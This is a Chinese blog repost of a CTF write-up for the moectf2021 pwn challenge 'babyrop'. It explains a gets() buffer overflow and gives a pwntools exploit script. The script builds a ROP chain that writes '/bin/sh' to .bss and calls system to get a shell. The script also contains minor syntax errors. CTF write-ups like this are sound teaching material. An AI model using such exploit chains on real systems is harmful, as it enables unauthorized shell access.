首页 > 其他 > 详细

moectf2021新生赛>>pwn>>babyrop

时间:2021-08-23 23:10:07      阅读:123      评论:0      收藏:0      [点我收藏+]

moectf2021新生赛>>pwn>>babyrop

  题目名:babyrop

  WriteUp:

  首先checksec 

  技术分享图片

 

 

  IDA分析

  技术分享图片

 

 

    技术分享图片

 

 

 

 

   找到gets漏洞点,system的plt,产生利用rop构造参数来getshell的思路,但是无法直接从二进制文件中直接找到。

  这里想到2个办法1是ret2libc,暂且先不提,2是利用gets函数往.bss段内存写入参数"/bin/sh",来制造参数

 

  常规方法利用工具ROPgadgets构建ROPchain,但是这里可以直接利用栈结构来一步到位getshell

  技术分享图片

 

 得出exp,如下:

  

from pwn import *
context.log_level = debug

mode = 1
ip = ‘‘
port = ‘‘

binsh_offset = 0x17e0af
gets_plt = 0x08048380
libcmain_addr = 0x804A018
bss_addr = 0x804A028
system_plt = 0x80483A0

payload = a * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr)

if mode == 1
    p = process("./babyrop")
    #gdb.attach(p,"b *0x08048380")
else:
    p = remote(ip,port)


p.sendlineafter("advise?",payload)

p.send("/bin/sh\n")

p.interactive()
    

 

 

 

 

moectf2021新生赛>>pwn>>babyrop

原文:https://www.cnblogs.com/Ph03n1x/p/15176937.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!